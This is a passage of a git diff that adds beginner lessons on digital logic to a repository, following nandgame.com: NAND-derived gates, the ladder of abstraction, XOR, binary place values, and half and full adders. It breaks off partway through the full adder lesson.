+(The game puts the part you built in the previous level into the box of the next level — you
+can use invert as a ready-made part in And and Or.)
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ NAND is now a closed box: no insides, just a table. We're done with relays.
+☐ NOT = give the same wire to both NAND inputs ("wiring it to a mirror").
+☐ AND = NAND + invert (NAND already meant "AND-not").
+☐ OR = invert the inputs, then NAND ("don't let both have NOT come").
+☐ Along this path you discovered De Morgan's law by yourself.
+☐ The method is called derivation: don't invent new parts, force the one you have into its table.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — What was inside NAND: relays
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The next gate: XOR, the difference detector
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Why the "closed box" idea matters so much
+
+---
+
+**Previous topic:** [01_akim_salter_role.md](./01_akim_salter_role.md)
+**Next topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
new file mode 100644
index 0000000..0672547
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
@@ -0,0 +1,109 @@
+# 🪜 From Switches to a Computer — Interlude: The Ladder of Abstraction
+
+> For three lessons now you've been doing something you probably never named: every
+> circuit you build, you **close up** and climb on top of. This short interlude gives
+> that move a name. Because that move isn't a habit — it's **the one and only reason a
+> computer can exist at all.**
+
+> *(Interlude: short, no circuits, no game. Pour yourself a tea, read it, move on.)*
+
+---
+
+## Look at the Ladder
+
+Here's what you've done so far, in order:
+
+1. You started with the **relay**. Your head was in the coil, in the contact — "when the coil fills up, the arm gets pulled..."
+2. From two relays you built the **NAND**. And something happened: the moment you built the NAND, you
+ **forgot** the relays. In the later levels the NAND was a box you couldn't see inside of;
+ it just had a table.
+3. From NANDs you built **NOT, AND, OR**. They got boxed up too.
+4. From gates you built **XOR**. Now it's in a box too: two inputs, one table, and nobody
+ cares what's inside.
+
+```
+ ┌ XOR ┐ ← you are here right now
+ │ from gates │
+ ┌ OR/AND/NOT ┐ ← boxed up
+ │ from NANDs │
+ ┌ NAND ┐ ← boxed up
+ │ from relays │
+ ┌ RELAY ┐ ← boxed up (you forgot it long ago)
+ │ from physics... │
+```
+
+We'll call this the **ladder of abstraction**. The rule fits in one sentence:
+
+> 🔑 **One floor's ANSWER is the next floor's SIGNAL.** When you built the XOR, you didn't
+> think of OR's output as "OR's output" — you fed it to the AND as an ordinary signal, like
+> a, b. The lower floor closes up; the wire it produces behaves like an input that was there
+> from birth on the floor above.
+
+---
+
+## Why Does This Matter So Much?
+
+Let's do a bit of arithmetic. Inside the XOR there are 3 gates; inside each gate a few NANDs,
+inside each NAND 2 relays. So the thing you call XOR is really a machine made of a dozen
+relays. We're going to build an adder — inside it there will be several XORs. By the time we
+reach the processor the count will run into the **billions**.
+
+**Nobody can hold a billion parts in their head at once.** Computer engineering didn't solve
+this — it **never had to**, because thanks to the ladder nobody needs to think about a billion
+parts:
+
+- Whoever designs the relay thinks about a magnet — they don't care about the NAND.
+- Whoever builds the NAND thinks about two relays — they don't care about the XOR.
+- Whoever builds the adder thinks about a few gates — they don't even remember that a thing called a relay exists.
+
+Every floor works with **a handful of parts**. What you call a billion is a stack of handfuls piled on top of each other.
+
+> 💡 You've lived through a proof of this: in lesson 02 we said "we won't go back to relays
+> anymore," and we didn't. Did you lose anything? No — because the NAND's table carried
+> everything the relay could ever give. If a floor is closed up correctly, what's below it can
+> be **safely** forgotten.
+
+---
+
+## The Ladder's Two Faces
+
+The same ladder runs in both directions, and you're doing both in this series:
+
+- **Up (while building):** build the part → box it up → use it as a part on the floor above.
+ NandGame's level layout is exactly this: every level you solve shows up as a ready-made part
+ in the next level's box.
+- **Down (when you want to understand):** open any box, read it in the language of the floor
+ below. "How does XOR work?" → gates. "How about AND?" → NANDs. "NAND?" → relays.
+ There's no wall on any floor; **every box can be opened.** This is the technical meaning of
+ the sentence "a computer is not magic."
+
+> ⚠️ The ladder's only danger: closing up a floor before it has **settled**. For you to be able
+> to trust a box's table, you have to have actually built it at least once. That's why skipping
+> levels is forbidden in this series — a box you didn't solve is a box you can't trust.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Ladder of abstraction: build → box up → climb on top. The lower floor is safely forgotten.
+☐ Rule: one floor's ANSWER is the next floor's SIGNAL.
+☐ A billion-part chip is possible this way: nobody thinks about the billion, everybody thinks about one handful.
+☐ The ladder also goes down: every box can be opened. No magic.
+☐ The one forbidden move: closing up a floor that hasn't settled. Don't trust a box you didn't build.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — The first boxing-up: NAND closes
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The last rung of the ladder you stepped on
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — Now a new floor: the floor of meaning
+
+---
+
+**Previous topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+**Next topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along together with [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
new file mode 100644
index 0000000..ef0f568
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
@@ -0,0 +1,174 @@
+# 🚪 From Switches to a Computer — XOR: The Tale of Two Bouncers
+
+> The gates so far were one-sentence characters: "both," "at least one,"
+> "the opposite." In this lesson, for the first time, you'll build a gate that asks for
+> **two sentences at once**: XOR, the difference detector. Along the way you'll learn two things: what it means
+> for gates to form a **team** — and the strange fact that will open the door to the next unit: XOR is, in fact,
+> a secret **adder.**
+
+> XOR is the series' "my brain is fried" stop: the first multi-gate structure. The burn is normal and
+> temporary — this lesson was written for exactly that wall.
+
+---
+
+## 📋 Table of Contents
+
+- [Mission: The Difference Detector](#mission-the-difference-detector)
+- [Why Isn't One Gate Enough?](#why-isnt-one-gate-enough)
+- [Two Bouncers, One Approval Desk](#two-bouncers-one-approval-desk)
+- [Verify the Table with the Bouncers](#verify-the-table-with-the-bouncers)
+- [XOR's Secret Identity (Trailer for the Coming Unit)](#xors-secret-identity-trailer-for-the-coming-unit)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## Mission: The Difference Detector
+
+**XOR** (from *exclusive or*), looks at its two inputs and asks a single
+question: **"are you two different?"**
+
+| a | b | XOR | reading |
+|---|---|:---:|---|
+| 0 | 0 | **0** | same → 0 |
+| 0 | 1 | **1** | different → 1 |
+| 1 | 0 | **1** | different → 1 |
+| 1 | 1 | **0** | same → 0 |
+
+You can read the same table through a second lens: the output is 1 only when there is **exactly one
+1**. Both readings are correct; tuck the second one in your pocket, it'll come in handy this lesson.
+
+---
+
+## Why Isn't One Gate Enough?
+
+Try the gates you have, one by one — which one matches this table?
+
+- **Try OR:** "at least one." Same as XOR for the first three rows... but it blows it on the last row:
+ OR(1,1)=1, while XOR wants it to be 0. ✗
+- **Try NAND:** "not both." It nails the last row (1,1→0)... but it blows it on the first
+ row: NAND(0,0)=1, while XOR wants it to be 0. ✗
+- **AND**, **NOT** — try them, none of them can hit all four of the four rows.
+
+Here's the reason: what XOR wants is **not a single condition, but the intersection of two conditions:**
+
+1. "At least one of you be 1" *(eliminates 0,0)*
+2. "But don't both of you be 1" *(eliminates 1,1)*
+
+A single gate says a single sentence. A two-sentence job needs a **team**.
+
+> 🔑 This is the first big design lesson in the series: a complex request breaks down into the **intersection
+> of simple requests.** A gate for each simple request, and a gate for the intersection — and the job's
+> done. You'll build every circuit from here on like this: first split into sentences, then hand out gates
+> to the sentences.
+
+---
+
+## Two Bouncers, One Approval Desk
+
+Now set up the story. Picture a club door; the rule for getting in is "exactly one of you two."
+Two bouncers stand at the door, and each one enforces **a single rule**:
+
+- **The OR bouncer:** *"At least one of you must have shown up."* — Doesn't approve an empty arrival (0,0).
+- **The NAND bouncer:** *"But you can't both come in."* — Doesn't approve a paired arrival (1,1).
+
+The **approval desk (AND)** inside does just one thing: **if both bouncers say "okay"**
+it opens the door.
+
+```
+ a ──┬──────────► [ OR bouncer ] ──┐
+ │ ├──► [ AND approval desk ] ──► XOR output
+ b ──┴──────────► [ NAND bouncer ] ─┘
+```
+
+(a and b appear to both bouncers **at the same time** — the wires fork, no one waits their turn.)
+
+---
+
+## Verify the Table with the Bouncers
+
+Run each of the four possibilities through the gates one by one:
+
+| Arrivals (a,b) | OR bouncer | NAND bouncer | Approval desk (AND) |
+|---|:---:|:---:|:---:|
+| 0, 0 — nobody | ✗ "nobody showed up" (0) | ✓ (1) | **0** — no entry |
+| 0, 1 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 0 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 1 — a pair | ✓ (1) | ✗ "you can't both come in" (0) | **0** — no entry |
+
+Four rows, four hits. XOR = **AND( OR(a,b), NAND(a,b) )** — but don't memorize this
+formula; remember the story, and the formula rewrites itself.
+
+> 💡 Did you notice: all three gates on the team are from the previous lesson — OR, NAND, AND. XOR
+> isn't "a new invention," it's the **division of labor among old acquaintances.** Number of new parts: zero.
+
+---
+
+## XOR's Secret Identity (Trailer for the Coming Unit)
+
+Take out that second reading you pocketed: XOR = "1 if there is exactly one 1."
+
+Now answer this question: **what do you get if you add 0 and 1?** 1. And 1 and 1? 2 —
+and in the binary world, the ones digit of the way 2 is written is **0** (we'll build up why,
+step by step, in Unit 1). Now look at XOR's table once more:
+
+| a | b | a+b | ones digit of the sum | XOR |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 1 | 1 |
+| 1 | 0 | 1 | 1 | 1 |
+| 1 | 1 | 2 | **0** | **0** |
+
+Exactly the same column. **XOR is the ones digit of a two-bit addition.** This gate that
+plays bouncer at the club door will, two lessons from now, be the heart of the circuit that lets the
+computer do addition.
+
+---
+
+## 🎮 Now You Build It
+
+**Mission:** NandGame → **Xor** level.
+
+The story is in your hands: two bouncers + an approval desk. Look at the ready-made parts in your box (or, nand, and
+— you built them all), and pull the wires. After you build it, try the four input combinations
+**by hand** and each time watch which bouncer says "no" — that's when the circuit turns into
+the story.
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and feed them into **both OR and NAND**. Give the two gates' outputs to **AND**;
+AND's output is XOR.
+
+Extra observation: while your circuit is running, give it (1,1) and watch how the 0 at NAND's output
+locks AND; then give it (0,0) and see the same lock on the OR side. Two bouncers, killing two
+separate rows — if the table has four rows, two "no"s + two "yes"es is the whole tally.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ XOR = difference detector: 1 if different, 0 if the same.
+☐ Second reading: "1 if there is EXACTLY ONE 1" — don't forget this, it comes back in addition.
+☐ One gate isn't enough, because the request is TWO sentences: "at least one" + "not both."
+☐ The solution team: OR bouncer (eliminates 0,0) + NAND bouncer (eliminates 1,1) + AND approval desk.
+☐ Design method: split a complex request into sentences, hand out gates to the sentences.
+☐ XOR's secret identity: the ONES DIGIT of a two-bit addition.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Building the three gates on the team
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Boxing up the layers: the main idea of this series
+- [05_half_adder.md](./05_half_adder.md) — Where XOR's secret identity comes to light
+
+---
+
+**Previous topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+**Next topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series progresses alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
new file mode 100644
index 0000000..0466096
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
@@ -0,0 +1,170 @@
+# 🔢 From Switches to a Computer — When Wires Become Numbers
+
+> Up to now, wires have carried "yes/no" for you: current, a decision, the go-ahead from
+> the ones that do the dirty work. In this lesson we'll give wires a brand-new meaning:
+> **number.** This is the biggest mental leap in the series — and the only concept lesson
+> that contains no circuit. If you lay this groundwork solidly, the adder lessons will
+> flow like water.
+
+> **No circuit in this lesson, no game.** Just one idea. But the whole of Unit 1 rests on
+> this idea: don't rush, read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [The Limit of a Single Wire](#the-limit-of-a-single-wire)
+- [The Remedy: Adding Wires and Assigning Values](#the-remedy-adding-wires-and-assigning-values)
+- [The Token System](#the-token-system)
+- [This Is a Trick You Already Know](#this-is-a-trick-you-already-know)
+- [Counting in Binary](#counting-in-binary)
+- [The Reading Formula](#the-reading-formula)
+
+---
+
+## The Limit of a Single Wire
+
+Recall the basic truth from lesson 01: **a wire knows no meaning.** A wire either has
+current or it doesn't. We named those two states "1" and "0" — that was the first meaning
+we assigned.
+
+Now a new need arises: in a moment our circuits will **count** (they'll answer the
+question "how many?"). But the biggest thing a single wire can say is "1". There's no
+"2 units of current" on a wire — the current is either there or not. So how does a circuit
+say 2, 3, or 500?
+
+> 🔑 The answer isn't inside the wire, it's in the **number of wires:** for bigger numbers
+> you add wires — and you **assign each wire a different value.** A number doesn't live on
+> a single wire, it lives in how a **group** of wires is read.
+
+---
+
+## The Remedy: Adding Wires and Assigning Values
+
+Take two wires. Call the left one the "**2's wire**" and the right one the "**1's wire**".
+Our rule:
+
+> The number the group says = **the sum of the values of the wires that are on.**
+
+With two wires you can build four different states — and the four say four separate numbers:
+
+| 2's wire | 1's wire | Number said |
+|:---:|:---:|:---:|
+| 0 | 0 | 0 + 0 = **0** |
+| 0 | 1 | 0 + 1 = **1** |
+| 1 | 0 | 2 + 0 = **2** |
+| 1 | 1 | 2 + 1 = **3** |
+
+That's all there is to it. The whole of the thing that wanders around under scary book
+titles like "the binary number system" is this table: **assign values to wires, sum the
+ones that are on.**
+
+---
+
+## The Token System
+
+To make the same idea tangible, think in tokens. You have two kinds of token in your hand:
+**2's** and **1's.** You say any amount by "which tokens you handed over":
+
+```
+ pay 0 → no token → wires: 0 0
+ pay 1 → one 1's → wires: 0 1
+ pay 2 → one 2's → wires: 1 0
+ pay 3 → one 2's + 1's → wires: 1 1
+```
+
+> 💡 Note: you can use **at most one** of each kind of token — because a wire either turns
+> on or it doesn't; there's no "turning on twice." Since you don't have the option of
+> handing over two 1's when you "pay 2," the 2's token is **mandatory.** This mandate is
+> why the values go 1, 2 (and, in a moment, 4, 8...): so that every amount can be paid in
+> **exactly one way**, using at most one of each token.
+
+---
+
+## This Is a Trick You Already Know
+
+Don't let "assigning values to digits" feel new to you — **you've been doing it since
+grade school.** When you write "347" in the decimal system, what you're really saying is:
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 100's 10's 1's → 3×100 + 4×10 + 7×1 = 347
+```
+
+In the decimal system the place values go 1, 10, 100, 1000... (each one **10 times** the
+previous, because you can write **ten** different digits, 0–9, in each place).
+
+In our wires, though, there are only **two** things that can be written in a place: 0 and 1.
+So the place values go 1, 2, 4, 8... — each one **2 times** the previous.
+
+> 🔑 So "the binary system" isn't a separate kind of math; it's **the same place-value idea,
+> in its two-digit form.** Just as "10" in decimal is "one ten, zero ones," in binary `10`
+> means "one 2's, zero 1's" — that is, **2.** See? There was nothing to be afraid of.
+
+---
+
+## Counting in Binary
+
+With three wires (4's, 2's, 1's) let's count from 0 to 7 — out loud, in token language:
+
+| Number | 4's | 2's | 1's | In token language |
+|:---:|:---:|:---:|:---:|---|
+| 0 | 0 | 0 | 0 | no tokens at all |
+| 1 | 0 | 0 | 1 | 1's |
+| 2 | 0 | 1 | 0 | 2's |
+| 3 | 0 | 1 | 1 | 2's + 1's |
+| 4 | 1 | 0 | 0 | 4's |
+| 5 | 1 | 0 | 1 | 4's + 1's |
+| 6 | 1 | 1 | 0 | 4's + 2's |
+| 7 | 1 | 1 | 1 | all of them |
+
+See a pattern in the table: the **1's column** ticks 0-1-0-1; the **2's column** goes in
+twos; the **4's** in fours. Like the digits on an odometer — when the right one fills up,
+the left one goes up by one. Same logic, except "filling up" happens at 1 instead of 9.
+
+---
+
+## The Reading Formula
+
+Let's squeeze everything into a single line. Let the three wires, left to right, be named
+`x h l` (4's, 2's, 1's):
+
+> **number said = 4·x + 2·h + 1·l**
+
+This formula is the key to the next two lessons. When our circuits hand you two wires called
+`h l`, you won't panic; you'll just read "2·h + l" and move on.
+
+> 💡 **You might be wondering:** *"So why doesn't a computer use decimal? People count in
+> decimal, after all."* Because the nature of a wire has two states: current on/off. If we
+> wanted decimal, we'd have to reliably tell apart ten different current levels on every
+> wire — in the noisy real world that's fragile and expensive. "On/off," on the other hand,
+> is rock-solid. The hardware didn't choose binary; **binary came out of the nature of the
+> wire.**
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A single wire says "1" at most. A bigger number = ADD A WIRE + ASSIGN each wire a VALUE.
+☐ Number = the sum of the values of the wires that are on. (Token analogy: which tokens did you hand over?)
+☐ At most ONE of each token → the values must be 1, 2, 4, 8... (powers of two).
+☐ The binary system = the place-value idea from school, with two digits. `10` (binary) = "one 2's" = 2.
+☐ Reading formula: number = 4x + 2h + 1l. This line is the key to two lessons.
+☐ The computer didn't choose binary; binary came out of the on/off nature of the wire.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — Where the principle "a wire knows no meaning" was born
+- [05_half_adder.md](./05_half_adder.md) — The fruit of this lesson: a circuit that ADDS numbers
+
+---
+
+**Previous topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+**Next topic:** [05_half_adder.md](./05_half_adder.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
new file mode 100644
index 0000000..15e7c06
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
@@ -0,0 +1,158 @@
+# ➕ From Switches to a Computer — Half Adder: The First Adder
+
+> If you dig down to the bottom of everything a processor does, you always reach the same thing: **addition.**
+> Subtraction is addition with a negative number; multiplication is repeated addition; the health in
+> a game, the tick of a counter, an address calculation in memory — all of it is addition. In this lesson you'll build
+> the deepest cell of that giant pyramid: **the circuit that adds two bits.** And you'll see
+> that you've been carrying the pieces in your pocket all along.
+
+---
+
+## 📋 Table of Contents
+
+- [Task: How Much Is 1 + 1?](#task-how-much-is-1--1)
+- [Why Isn't One Output Enough?](#why-isnt-one-output-enough)
+- [Build the Table, Spot the Familiar Faces](#build-the-table-spot-the-familiar-faces)
+- [The Circuit: Two Old Friends, Side by Side](#the-circuit-two-old-friends-side-by-side)
+- [Why a "HALF" Adder?](#why-a-half-adder)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## Task: How Much Is 1 + 1?
+
+The box we want to build looks simple: two inputs (`a`, `b`), each a single bit.
+Let the box add them **as numbers.**
+
+There are only four possibilities in total:
+
+```
+ 0 + 0 = 0 0 + 1 = 1 1 + 0 = 1 1 + 1 = ... 2
+```
+
+And while the first three are trouble-free, in the fourth things get interesting: **2.** From the last lesson
+you know — on a single wire there's no such thing as "2". In binary, 2 is written `10`: *one
+2, zero 1s.*
+
+---
+
+## Why Isn't One Output Enough?
+
+This is exactly why our adder is forced to have **two output wires:**
+
+- **l** (low) → **the 1s wire:** the ones digit of the sum.
+- **h** (high) → **the 2s wire:** the twos digit of the sum.
+
+To put it in the language you learned in school: `l` = "**write down**", `h` = "**carry**". In 7+5=12, when you say
+"write 2, carry 1" you're doing exactly the same thing — it's just that our digit doesn't fill up at 9,
+it fills up at 1: 1+1 = "write 0, carry 1" = `10`.
+
+> 🔑 Always read the output with the formula from 04: **sum = 2·h + l.** The two wires aren't two separate
+> answers; they are **the two digits of a single number.**
+
+---
+
+## Build the Table, Spot the Familiar Faces
+
+Write the four possibilities one under another, ask only "how much did it come to?" on each row, and write the result
+as `h l`:
+
+| a | b | a+b | h (2s) | l (1s) |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 0 | 1 |
+| 1 | 0 | 1 | 0 | 1 |
+| 1 | 1 | **2** | **1** | **0** |
+
+Now look at the columns **one by one.** One of the sweetest surprises of this series is waiting for you:
+
+- **The l column:** `0, 1, 1, 0`... You've seen this before. 1 if they differ, 0 if they're the same —
+ **this is the table of XOR.** The "trailer" at the end of lesson 03 came true: this turns out to be XOR's secret
+ identity — *the ones digit of addition.*
+- **The h column:** `0, 0, 0, 1` — 1 only when both are 1... **this is AND.** Makes sense:
+ a carry is born only if *two* 1s come together; the gate that asks the "both of them?" question was already AND.
+
+> 💡 We didn't invent any new gate. Addition — the computer's most fundamental ability —
+> turns out to be two of your old acquaintances (XOR and AND) **looking at the same question from two angles**:
+> XOR asks "what do the ones say?", AND asks "did a pair form?".
+
+---
+
+## The Circuit: Two Old Friends, Side by Side
+
+The design wrote itself. Fork `a` and `b`; give one copy to XOR, one copy to
+AND:
+
+```
+ a ──┬──────────► [ XOR ] ──────► l (write / ones digit)
+ │
+ b ──┴──────────► [ AND ] ──────► h (carry / twos digit)
+```
+
+The two gates are **side by side**, at the same time, looking at the same inputs — one producing the lower
+digit of the sum, the other the upper digit. The name of this box is **half adder**.
+
+---
+
+## Why a "HALF" Adder?
+
+Calling a box that does a perfectly good job "half" seems unfair. It isn't — the box has
+a real shortcoming, and that shortcoming is the very reason the next lesson exists.
+
+Do a multi-digit addition on paper: 27 + 35. The right digit: 7+5=12, "write 2, carry 1".
+Now look at the **middle digit**: 2 + 3 + **1 (carry)** — the middle digit is adding **three things**!
+Every digit has to take into account the carry coming from its right neighbor.
+
+The half adder, however, has only **two inputs.** It has no third mouth to take in an incoming carry.
+So on its own it can only do the job **in the rightmost digit** — it can be the first link of the chain,
+but not a middle one.
+
+> 🔑 **Half adder = an adder that CAN PRODUCE a carry but CANNOT ACCEPT one.** That's what its "half"-ness
+> is. You'll build the "full" version that can accept a carry — the full adder — in the next lesson,
+> and you'll do it using this very box you built today as a part.
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** NandGame → **Arithmetics** section → **Half Adder** level.
+
+This time you know almost everything; when you see the target table in the game, you'll recognize it.
+Build it, then try the four combinations by hand and each time read it off in your head: *"how many apples
+did I count → with which tokens did I pay?"*
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and give them to **both XOR and AND**. XOR's output → `l`,
+AND's output → `h`. Two gates, four wires — you've planted the seed of computer arithmetic.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ At the bottom of everything a computer does there's always addition; its smallest cell is this box.
+☐ 1+1 = 2 = `10` in binary → even a single column needs TWO outputs: l (write) + h (carry).
+☐ Reading: sum = 2·h + l. Two wires = the two digits of a single number.
+☐ The l column = XOR (its secret identity: the ones digit of addition).
+☐ The h column = AND (a carry is born only from two 1s).
+☐ The reason for its "half"-ness: it PRODUCES a carry but CANNOT ACCEPT one → it can only be the rightmost digit.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — where the `2·h + l` formula comes from
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — the construction of XOR and the "secret identity" trailer
+- [06_full_adder.md](./06_full_adder.md) — completing the missing mouth: the adder that accepts a carry
+
+---
+
+**Previous topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+**Next topic:** [06_full_adder.md](./06_full_adder.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along in the company of [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
new file mode 100644
index 0000000..fa8ed50
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
@@ -0,0 +1,231 @@
+# 🔗 From Switches to a Computer — Full Adder: The Carry Chain
+
+> Last lesson you built a box, but it earned a "half" stamp: it produced a carry,
+> but it couldn't accept one. In this lesson you'll complete the missing input. The box
+> you build will be called a **full adder** — and, no exaggeration, this is the **brick**
+> of the arithmetic inside a modern processor: line up 64 of them side by side and you've
+> built the hardware that adds 64-bit numbers.
+
+> This is the most demanding build in the series so far. The difficulty isn't in the parts —
+> they're all familiar — it's in the **way of thinking.** We'll walk the path together,
+> the wrong turn included.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Three Inputs?](#why-three-inputs)
+- [The Box's Entire Logic in One Sentence](#the-boxs-entire-logic-in-one-sentence)
+- [Not Eight Rows, Four Cases](#not-eight-rows-four-cases)
+- [The Wrong Way: "Let Me Add All the Pairs"](#the-wrong-way-let-me-add-all-the-pairs)
+- [The Right Way: Like on Paper, In Order](#the-right-way-like-on-paper-in-order)
+- [The Last Wire: Two Carries, One Output](#the-last-wire-two-carries-one-output)
+- [🎮 Now You Build It](#-now-you-build-it)
+- [Closing: The Chain of 64](#closing-the-chain-of-64)
+
+---
+
+## Why Three Inputs?
+
+Add 27 + 35 on paper and watch what your hand does:
+
+```
+ ¹ ← carry
+ 2 7
+```
+```
+ + 3 5
+ ─────
+ 6 2
+```
+
+- Rightmost digit: 7+5=12 → "write 2, **carry 1**". Here you added **two** things.
+- Middle digit: 2+3+**1** → 6. Here you added **three** things: two digits + the incoming carry.
+
+Every digit in the middle of the chain has three inputs. That is exactly what a full adder
+is: the machine for that middle digit:
+
+> **Full adder = a box that adds a + b + c** — where `c` is the **carry** coming in from
+> the right neighbor. Its output is again two wires: `l` (write) and `h` (the new carry,
+> heading to the left neighbor).
+
+---
+
+## The Box's Entire Logic in One Sentence
+
+Adding three single-bit numbers is really just counting:
+
+> 🔑 **COUNT how many 1s are among the three inputs. Write the resulting number in binary: h l.** That's all.
+
+The count can come out 0, 1, 2, or 3 (there's nothing more than three inputs). You already
+know the binary form of all four from lesson 04: `00`, `01`, `10`, `11`.
+
+---
+
+## Not Eight Rows, Four Cases
+
+In the game an eight-row table will greet you. Don't let it scare you — group the rows by
+the question "how many 1s are there?" and eight rows collapse to four:
+
+| How many 1s? | Which rows | h l | In token language |
+|:---:|---|:---:|---|
+| 0 | 000 | `0 0` | no tokens |
+| 1 | 001, 010, 100 | `0 1` | one 1-token |
+| 2 | 011, 101, 110 | `1 0` | one 2-token |
+| 3 | 111 | `1 1` | 2-token + 1-token |
+
+Make two observations:
+
+- **All three** of the rows with a single 1 give the same answer; so do the ones with two 1s.
+ **Which** input is 1 doesn't matter at all — only the **count** matters. (Just like 7+5
+ and 5+7 being the same.)
+- The half adder's table had no `1 1` output — two inputs count to 2 at most. The only
+ novelty the third input brings is that last row: 3 = `11`.
+
+> 💡 Read the table one more time by **splitting it into floors**: separate the four rows
+> where c=0 and look at h,l — out comes the **exact same table as the half adder's**. Makes
+> sense: if the third basket is empty, a three-basket box has to behave like a two-basket
+> box. This observation is the soul of the circuit you're about to build: inside the full
+> adder, a half adder **lives.**
+
+---
+
+## The Wrong Way: "Let Me Add All the Pairs"
+
+At this level the first idea that comes to mind is usually this (and it's worth trying — the
+wrong way teaches too): *"I have a box that adds two things; so I'll add all the pairs:
+a+b, a+c, b+c... then I'll combine them."*
+
+You place three or four half adders, wire them up, and... you find yourself with a pile of
+outputs and not a single "sum". Each box reports separately "how many 1s are in these two";
+the reports repeat each other and nobody tells you the **overall total**. As the part count
+grows, you get closer not to a solution but to a crowd of wires.
+
+> ⚠️ The lesson here isn't a circuit lesson, it's a thinking lesson: **adding parts is not
+> progress.** If your circuit is growing but your clarity is shrinking, go back to the table
+> and look at the operation *itself*: how were you doing this job by hand?
+
+---
+
+## The Right Way: Like on Paper, In Order
+
+Add 2 + 3 + 4 in your head and pay attention to **what you do**: "2+3 = 5... 5+4 = 9."
+You didn't add all the pairs at once; **you added two, then added the third onto the
+result.** Addition is sequential — the **answer** of one addition becomes the **input** of
+the next.
+
+You know this sentence from lesson 03.5: *the answer of one floor is the signal of the floor
+above.* So then:
+
+1. **First half adder:** let it add `a + b`.
+2. **Second half adder:** let it add `c` onto the first one's result.
+
+One subtlety remains: the first box's result is **two wires** (h and l). Which one do you
+feed to the second box? Think in token language: `c` is a value **in 1-token units** (0 or 1
+apple). The wire that goes on the same scale as it must also be in 1-token units: **`l`.**
+(`h`, on the other hand, is in 2-token units — that belongs on a different scale, and will
+wait off to the side.)
+
+```
+ a ──► [ add ] h₁ ─────────────────────┐ (2-token — waiting)
+ b ──► [ 1 ] l₁ ──► [ add ] h₂ ──────┤ (2-token — waiting)
+ c ──► [ 2 ] l₂ ──────►│──► l ✓ (ones place done)
+ ▼
+ last wire: h = ?
+```
+
+---
+
+## The Last Wire: Two Carries, One Output
+
+You have two h wires in hand (h₁, h₂) but the box has only one `h` output. Both wires shout
